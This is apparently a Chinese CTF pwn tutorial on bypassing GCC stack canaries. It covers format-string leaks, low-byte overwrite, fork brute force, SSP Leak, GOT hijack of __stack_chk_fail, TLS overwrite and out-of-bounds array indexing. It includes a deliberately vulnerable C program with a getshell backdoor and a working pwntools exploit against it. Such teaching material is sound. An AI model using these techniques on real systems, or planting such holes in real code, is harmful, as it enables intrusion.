Canary Bypass

本节主要汇总了常用的绕过 Canary 的方法

参考文章:绕过canary保护的6种方法-安全客 - 安全资讯平台


什么是 Canary?

Canary 又叫金丝雀,是一种针对栈溢出的保护机制,它在程序的函数入口处从 GS 段(32 位)或 FS 段(64 位)内获取一个随机值,每次进程重启的 Canary 都不同,但是同一个进程中的不同线程的 Canary 是相同的

如果我们想利用栈溢出覆盖返回值,则填充的数据必定会经过栈上的 Canary,如果程序检测到 Canary 的值被修改,程序便会执行 __stack_chk_fail 函数,导致程序发生崩溃,我们也就无法利用栈溢出漏洞了

触发 Canary 保护时,程序会输出:*** stack smashing detected ***: terminated

注意:子进程由于触发 Canary 崩溃不会导致父进程退出,这为我们 Bypass Canary 提供了更多的可能

GCC 编译时设置 Canary 保护的参数:

-fstack-protector   # 启用保护,不过只为局部变量中含有 char 数组的函数插入保护
-fstack-protector-all   # 启用保护,为所有函数插入保护
-fstack-protector-strong
-fstack-protector-explicit   # 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector   # 禁用保护

在 IDA 中,Canary 一般以如下形式出现:

  • 64 位程序
v2 = __readfsqword(0x28u);

CTF-PWN_Bypass安全机制13.png

  • 32 位程序
v2 = __readgsdword(0x14u);

CTF-PWN_Bypass安全机制14.png

在 64 位程序中,通常 Canary 在栈中是位于 RBP 上方的 8 字节(与 RBP 相邻),但是 Canary 的位置不一定总是与 RBP 相邻,具体得看编译器的操作

以一个 64 位程序的例子来说明:

CTF-PWN_Bypass安全机制1.png

可以看到 v2 位于 rbp - 8h 的地方,正好在 RBP 上方的 8 字节(与 RBP 相邻)

在栈中的样子:

CTF-PWN_Bypass安全机制2.png

CTF-PWN_Bypass安全机制5.png

但 Canary 的位置也不是绝对的,需要具体情况具体分析

例如下面这个 32 位程序的例子:

CTF-PWN_Bypass安全机制3.png

可以看到 v7 位于 ebp - Ch 的地方,而不是 EBP 上方的 4 字节(与 EBP 不相邻)

在栈中的样子:

CTF-PWN_Bypass安全机制4.png

这里的 Canary 在栈中位于 EBP 上方的第 (0xC - 0x0) / 4 = 3 个位置

CTF-PWN_Bypass安全机制6.png

Canary 一般有如下特点:

  1. 十六进制通常以 '\x00' 结尾,例如:0x29a30f00,在内存中其实是 0x00 0x0f 0xa3 0x29,这样是为了与 Canary 前面的内容截断。也就是说在不溢出的情况下,我们无法通过 printf() 之类的函数将 Canary 打印出来,因为这些函数在遇到 Canary 第一字节的 0x00 就被截断了
  2. 每次进程重启的 Canary 都不同,但是同一个进程中的不同线程的 Canary 是相同的,也就意味着,在同一次程序的运行中,所有的 Canary 的值都是相同的

格式化字符串泄露 Canary

如果存在格式化字符串漏洞,那么 Canary 保护基本等同于虚设,因为我们可以直接泄露出 Canary

这种 Bypass 方法重点在于确定 Canary 在栈中的位置,泄露比较简单,因此不做过多解释

具体如何泄露,可以查看本站《格式化字符串漏洞与利用》这篇文章


覆盖低字节输出 Canary

前面提到 Canary 的十六进制数值通常以 '\x00' 结尾,而在内存中是小端序储存,例如:0x29a30f00,在内存中其实是 0x00 0x0f 0xa3 0x29,这样是为了让 '\x00' 截断 Canary 前面的数据,防止将 Canary 打印出来

那么同样的思路,如果我们能够覆盖 Canary 低字节的 '\x00',就可以直接将 Canary 输出了

以一个例子说明:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int getshell() {
    system("/bin/sh\x00");
    return 0;
}

int init_func() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    return 0;
}

int vuln_func() {
    char buf[100];
    for(int i = 0; i < 2; i++){
        read(0, buf, 0x200);
        printf(buf);
    }
    return 0;
}

int main() {
    init_func();
    puts("Weclome to uf4te!");
    vuln_func();
    return 0;
}

// gcc -m32 -no-pie -g -o test test.c

编译后保护机制如下:

CTF-PWN_Bypass安全机制7.png

调试我们发现,Canary 在栈中的 EBP 上方第三个位置,Canary 下方相邻处有一条即将被 puts("Weclome to uf4te!"); 输出的内容

CTF-PWN_Bypass安全机制8.png

计算一下我们输入的位置与他们的偏移,可以看到输入的起始地址在 0xffffcd68

CTF-PWN_Bypass安全机制9.png

与 Canary 距离 100 字节:

CTF-PWN_Bypass安全机制10.png

因此第一次 read(0, buf, 0x200); 我们发送的 payload 为:payload = b'a' * 100,这样就刚好覆盖到 Canary 的上一个数据,然后我们用 io.sendline(payload) 来发送 payload

因为 io.sendline() 会在 payload 的结尾添加一个回车符,即:'0x0a',相当于我们总共发送了 101 个字节,前 100 个字节到达 Canary 的位置,最后一个 '0x0a' 覆盖 Canary 的最低一字节

CTF-PWN_Bypass安全机制11.png

可以看到此时 Canary 的最低一字节不再是 '\x00' 而是 '\x0a'

然后继续执行到 printf(buf); 的地方

CTF-PWN_Bypass安全机制12.png

可以看到除了我们输入的 'a''\x0a' 外,程序还输出了一些别的数据,'\x0a' 以及其后的 3 字节:0x0a 0x91 0x67 0x54 就是修改后的 Canary 的值了

我们用泄露出的地址减去 0x0a 就是真正的 Canary 的值

由于在同一次运行中,Canary 的值是不会变的,因此第二次 read(0, buf, 0x200); 我们在覆盖时要用泄露出的 Canary 替换,保证不覆盖 Canary 的值

因此 exp 如下:

from pwn import *

# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='i386', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
elf = ELF("./test")

if content == 1:
	# 将本地的 Linux 程序启动为进程 io
    io = process("./test")


# 附加 gdb 调试
def debug(cmd=""):
    if content == 1:   # 只有本地才可调试,远程无法调试
        gdb.attach(io, cmd)
        pause()


getshell_addr = elf.symbols["getshell"]

payload = b'a' * 100
# debug()
io.sendline(payload)

io.recvuntil(b'a' * 100)
Canary = u32(io.recv(4)) - 0xa   # 为了泄露出 Canary,其最低位被我们修改为 '\x0a',因此减去 0xa 后才是真正的 Canary 的值
print("Canary -->", hex(Canary))

payload = b'a' * 100 + p32(Canary) + b'a' * 12   # 填充 Canary 后距离返回地址还差 12 字节,因此再填充 b'a' * 12
payload += p32(getshell_addr)
io.sendline(payload)

# 与远程交互
io.interactive()

one-by-one 逐字节爆破 Canary

虽然每次进程重启的 Canary 都不同,但是同一个进程中的不同线程的 Canary 是相同的,并且通过 fork 函数创建的子进程的 Canary 也是相同的,同时 Canary 的最低一字节为 '\x00' 是不会变的,因此,我们可以考虑对 Canary 进行爆破

以 64 位程序为例,64 位程序的 Canary 一般为 8 字节,同时最低一字节为 '\x00'

因此相当于需要爆破高位的 7 字节,每一字节的取值范围在 0 ~ 255

CISCN2023-funcanary2.png

例如上图中,通过 fork() 函数产生的 canary 金丝雀的值是固定不变的

注意:

一般情况下,我们爆破 Canary 的过程中如果出现错误,就会导致程序崩溃,因此通常是不可行的

但是这里是通过 fork() 函数生成了子线程,子进程崩溃不会导致父进程退出,因此可以爆破

具体例题见本站的《【CISCN 2023】funcanary


SSP Leak 绕过 Canary

全称是 Stack Smashing Protect Leak,其实就是利用了我们前面提到的触发 Canary 后会输出:*** stack smashing detected ***: terminated,通过故意触发 Canary 保护并修改要输出的变量 __libc_argv[0] 的地址来实现任意地址读取

这个问题依赖于 Glibc 的版本,在 Ubuntu 22.04 的 Glibc 2.35 中已经修复,如果想在本地复现就需要更换 Glibc 版本,Glibc 2.26 以后所有修改,目前已知 Glibc 2.25 及以下版本都未修复该漏洞

注意:SSP Leak 只能泄露内存中的数据,但无法获得 shell

首先分析一下触发 Canary 后执行的 __stack_chk_fail 函数

由于这个函数是 Glibc 中的,想查看需要下载 Glibc 源码,下载地址:Index of /gnu/glibc

先来看看旧的版本 Glibc 2.19 中的实现

./debug/stack_chk_fail.c 下找到 __stack_chk_fail 函数的源码:

// ./glibc-2.19/debug/stack_chk_fail.c
#include <stdio.h>
#include <stdlib.h>


extern char **__libc_argv attribute_hidden;

void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

./debug/fortify_fail.c 下找到 __fortify_fail 函数的源码:

// ./glibc-2.19/debug/fortify_fail.c
#include <stdio.h>
#include <stdlib.h>


extern char **__libc_argv attribute_hidden;

void
__attribute__ ((noreturn))
__fortify_fail (msg)
     const char *msg;
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
		    msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)

逻辑很清晰,__stack_chk_fail 函数会调用 __fortify_fail 函数输出刚刚的 *** stack smashing detected ***: terminated 信息

但是细心一点会发现,这里存在两个 '%s',后面还有个 __libc_argv[0] 参数,因此实际上是输出了 msg__libc_argv[0] 两个参数的内容

msg 是固定的 "stack smashing detected"__libc_argv[0] 默认为程序名

因此,如果我们能修改 __libc_argv[0] 的值为某个地址,就可以将该地址上的信息在 "*** %s ***: %s terminated\n" 中输出出来

从 Glibc 2.26 开始,增加了一个 need_backtrace 变量来控制输出的信息,这时 __libc_argv[0] 默认为 <unknown>,源码如下:

// ./glibc-2.26/debug/fortify_fail.c
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>


extern char **__libc_argv attribute_hidden;

void
__attribute__ ((noreturn)) internal_function
__fortify_fail_abort (_Bool need_backtrace, const char *msg)
{
  /* The loop is added only to keep gcc happy.  Don't pass down
     __libc_argv[0] if we aren't doing backtrace since __libc_argv[0]
     may point to the corrupted stack.  */
  while (1)
    __libc_message (need_backtrace ? (do_abort | do_backtrace) : do_abort,
		    "*** %s ***: %s terminated\n",
		    msg,
		    (need_backtrace && __libc_argv[0] != NULL
		     ? __libc_argv[0] : "<unknown>"));
}

void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
  __fortify_fail_abort (true, msg);
}

libc_hidden_def (__fortify_fail)
libc_hidden_def (__fortify_fail_abort)

但是,Ubuntu 22.04 使用的是 Glibc 2.35,在该 Glibc 版本中不存在 __libc_argv[0] 参数了,源码如下:

// ./glibc-2.35/debug/stack_chk_fail.c
#include <stdio.h>

void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

strong_alias (__stack_chk_fail, __stack_chk_fail_local)


// ./glibc-2.35/debug/fortify_fail.c
#include <stdio.h>

void
__attribute__ ((noreturn))
__fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (do_abort, "*** %s ***: terminated\n", msg);
}
libc_hidden_def (__fortify_fail)

因此如果想在 Ubuntu 22.04 或较新版本 Glibc 的机器上进行本地测试,需要更换 Glibc 版本,建议 Glibc 2.25 以下版本

对于 __libc_argv[0] 的地址,在 GDB 中可以直接查看:

华为杯2023-ez_ssp12.png

另外,还需要了解一个重要函数 environ

environ 存在于 libc 中,是一个全局变量,储存着系统的环境变量,因此 environ 是连接 libc 地址与栈地址的桥梁

系统的环境变量在程序的栈中长这样:

华为杯2023-ez_ssp15.png

通过 libc 偏移计算得到 environ 的真实地址后,泄露 environ 的真实地址处存放的值,就可以得到保存在栈中的环境变量的真实地址

通过环境变量的首地址与栈上其他位置的偏移,我们就可以得到栈上任意变量的地址

配合 SSP Leak,虽然我们不能直接获得 shell,但是可以实现栈上的任意地址读

具体例题见本站的《【华为杯 2023】ez_ssp


劫持 __stack_chk_fail 绕过 Canary

Canary 的机制就是检测到溢出后执行 __stack_chk_fail 函数是程序崩溃,因此如果我们可以劫持 __stack_chk_fail 函数,例如将 __stack_chk_fail 函数的 GOT 表地址改为后门函数的地址,那么触发 Canary 后就会执行后门函数了

使用条件:
需要存在格式化字符串漏洞

具体例题见本站的《【BJDCTF 2nd】r2t4


修改 TLS 结构体控制 Canary

TLS 全称为 Thread Local Storage,是一种线程私有的数据存储方式,每个线程都有自己的局部存储空间,可以在其中存储线程私有的数据

因为 Canary 会被储存在 TLS 中,在函数返回前会使用这个值进行对比,如果溢出的长度足够大,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过

使用条件:
1. 溢出字节够大,通常至少一个 page(4K)
2. 创建一个线程,在线程内栈溢出

在 64 位程序中,TLS 由 FS 寄存器指向,通常为 FS:28h

在 32 位程序中,TLS 由 GS 寄存器指向,通常为 GS:14h

TLS 在 Glibc 中的实现为 tcbhead_t(TCB) 结构体,其中 stack_guard 变量存储的值就是 Canary,其结构体定义如下:

typedef struct
{
  void *tcb;                /* Pointer to the TCB.  Not necessarily the
                           thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;                /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;    // 储存 Canary 的值
  uintptr_t pointer_guard;
  unsigned long int vgetcpu_cache[2];
  /* Bit 0: X86_FEATURE_1_IBT.
     Bit 1: X86_FEATURE_1_SHSTK.
   */
  unsigned int feature_1;
  int __glibc_unused1;
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
  /* The lowest address of shadow stack,  */
  unsigned long long int ssp_base;
  /* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */
  __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
  void *__padding[8];
} tcbhead_t;

生成随机数 Canary 的位置:

uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard(_dl_random);

当程序创建线程的时候,会顺便创建一个 TLS 用来存储线程私有的数据,该 TLS 也会存储 Canary 的值,而 TLS 会保存在栈的高地址处 (这也是为什么说同一个进程中的不同线程的 Canary 是相同的)

因此,我们只要覆盖 TLS 中 Canary 的值,那么整个程序的 Canary 的值就是由我们来定的了

在子线程中可以通过如下指令查看 TLS 在栈上的首地址:

(gdb) x/x pthread_self()

【starctf2018】babystack10.png

在 64 位程序中,Canary 与 TLS 首地址偏移 28h

在 32 位程序中,Canary 与 TLS 首地址偏移 14h

具体例题见本站的《【Star Ctf 2018】babystack


数组下标越界绕过 Canary

当程序中存在数组,并且没有对数组的边界进行检查时,可以通过使数组的下标越界来直接修改返回地址,从而绕过 Canary

使用条件:
程序的栈中存在数组

假设栈中的结构如下图:

【starctf2018】babystack15.png

其中 arr[] 是一个长度为 4 的数组,正常来说,数组元素只有 arr[0] ~ arr[3]

由于数组本身也是利用指针寻址的,例如 uint_32 型的数组 a[] 中,a[i]*(a + i * 4) 本质上是一样的

因此如果没有对数组的边界进行检查,那么上图中的 arry[7] 就代表栈上的返回地址了,即使 arry[7] 在数组 arry[] 中下标越界

具体例题见本站的《【wustctf 2020】name_your_cat


C++ 异常机制绕过 Canary

参考文章:Shanghai-DCTF-2017 线下攻防Pwn题 - 安全客,安全资讯平台